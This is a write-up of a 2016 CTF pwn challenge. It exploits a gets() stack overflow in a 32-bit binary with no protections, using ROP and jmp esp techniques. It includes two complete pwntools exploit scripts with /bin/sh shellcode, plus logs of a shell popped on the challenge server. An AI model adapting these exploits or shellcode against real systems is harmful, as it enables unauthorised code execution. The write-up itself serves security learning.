Especially Good Jumps
[TU CTF, 2016]
- Category: pwn
- Points: 75
- Description:
Pop a shell.
Binary is hosted at: 130.211.202.98:7575
EDIT:
ASLR is enabled on remote server.
Write-up
We have classic stack-based buffer overflow vulnerability at hand:
│ 0x0804853f 8d442410 lea eax, [esp + arg_10h] ; 0x10
│ 0x08048543 890424 mov dword [esp], eax
│ 0x08048546 e885feffff call sym.imp.gets
gets
does not bounds-checking whatsoever. Let's check protection mechanisms.
checksec 23e4f31a5a8801a554e1066e26eb34745786f4c4
[*] '/media/ctf/tuctf2016/Especially Good Jumps (pwn 75)/23e4f31a5a8801a554e1066e26eb34745786f4c4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
Hooray. Nothing there. This should be easy. The description hinted that we need
to bypass ASLR. The binary also writes to a global variable called meow
.
Interestingly when you compile a program with -zexecstack
, it will not only
make the stack executable but also disable execute prevention on other
segments, such as .bss
. So we could write something like call esp
into
meow
and return to it.
[0x08048420]> iS~bss
idx=25 vaddr=0x0804a040 paddr=0x00001030 sz=12 vsz=12 perm=--rw- name=.bss
The OS will map a whole page for .bss
even though it's only 12 bytes. So we
can also write all of our shellcode into .bss
. We'll use a minimal ROP chain
to achieve this.
- call
gets(&meow)
- return to
&meow
We'll use a simple shell spawning shellcode.
#!/usr/bin/env python
from pwn import * # NOQA
vulnbinp = "./23e4f31a5a8801a554e1066e26eb34745786f4c4"
velf = ELF(vulnbinp)
# determine how much we need to overwrite until retaddr
# pl = cyclic(201)
# cyclic -c i386 -l 0x6161616c
l = 44
sc = shellcraft.linux.sh()
sca = asm(sc)
log.info("Using shellcode\n" + sc)
log.info(hexdump(sca))
chain = ROP(velf)
chain.call('gets', [velf.symbols['meow']]) # write shellcode
chain.call(velf.symbols['meow']) # return to shellcode
log.info("Using rop chain\n" + chain.dump())
pl = "A" * l
pl += str(chain)
# pl += "BBBB"
pl += "\n"
pl += str(0x42424242)
vp = process(vulnbinp)
# gdb.attach(vp)
# vp = remote("130.211.202.98", 7575)
vp.send(pl)
vp.sendline(sca)
vp.sendline()
vp.readline()
with context.local(log_level='debug'):
vp.sendline("id")
vp.sendline("pwd; ls -al;")
vp.sendline("cat flag.txt")
vp.clean_and_log()
vp.interactive()
vp.close()
[*] '/ctf/tuctf2016/Especially Good Jumps (pwn 75)/23e4f31a5a8801a554e1066e26eb34745786f4c4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[*] Using shellcode
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
/* call execve('esp', 0, 0) */
push (SYS_execve) /* 0xb */
pop eax
mov ebx, esp
xor ecx, ecx
cdq /* edx=0 */
int 0x80
[*] 00000000 6a 68 68 2f 2f 2f 73 68 2f 62 69 6e 6a 0b 58 89 │jhh/│//sh│/bin│j·X·│
00000010 e3 31 c9 99 cd 80 │·1··│··│
00000016
[*] Loaded cached gadgets for './23e4f31a5a8801a554e1066e26eb34745786f4c4'
[*] Using rop chain
0x0000: 0x80483d0 gets(134520904)
0x0004: 0x804839d <adjust: pop ebx; ret>
0x0008: 0x804a048 meow
0x000c: 0x804a048 0x804a048()
0x0010: 'eaaa' <pad>
[+] Opening connection to 130.211.202.98 on port 7575: Done
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Sent 0xd bytes:
'pwd; ls -al;\n'
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃ\x0\x9d\x83\x0H\xa0\x0��\x9d\x83\x0H\xa0\x0H\xa0\x0haaa, 1111638594 is an even number!
uid=1002(pwn75) gid=1002(pwn75) groups=1002(pwn75)
/home/pwn75
total 32
drwxr-x--- 2 root pwn75 4096 May 11 19:12 .
drwxr-xr-x 8 root root 4096 May 12 17:48 ..
-rw-r--r-- 1 root pwn75 220 May 11 18:54 .bash_logout
-rw-r--r-- 1 root pwn75 3637 May 11 18:54 .bashrc
-rw-r--r-- 1 root pwn75 675 May 11 18:54 .profile
-rwxr-xr-x 1 root pwn75 7548 May 11 18:48 easy
-r--r----- 1 root pwn75 44 May 11 18:52 flag.txt
TUCTF{th0se_were_s0me_ESPecially_good_JMPs}
$
Done :)
For completeness reasons, here is the variant where we write jmp esp
into
meow
and return there. Well this exploit is kind of simpler.
#!/usr/bin/env python
from pwn import * # NOQA
vulnbinp = "./23e4f31a5a8801a554e1066e26eb34745786f4c4"
velf = ELF(vulnbinp)
# pl = cyclic(201)
# cyclic -c i386 -l 0x6161616c
l = 44
sc = shellcraft.linux.sh()
sca = asm(sc)
log.info("Using shellcode\n" + sc)
meow = u16(asm('jmp esp'))
pl = "A" * l # fill stack
pl += p32(velf.symbols['meow']) # return to meow
pl += asm(shellcraft.nop()) * 8 # some nops
pl += sca # actual shellcode
# pl += "BBBB"
pl += "\n"
pl += meow # write 'jmp esp' into meow
log.info("Sending payload:\n" + hexdump(pl))
vp = process(vulnbinp)
gdb.attach(vp)
# vp = remote("130.211.202.98", 7575)
vp.send(pl)
vp.sendline()
vp.readline()
with context.local(log_level='debug'):
vp.sendline("id")
vp.sendline("pwd; ls -al;")
vp.sendline("cat flag.txt")
vp.clean_and_log()
vp.interactive()
vp.close()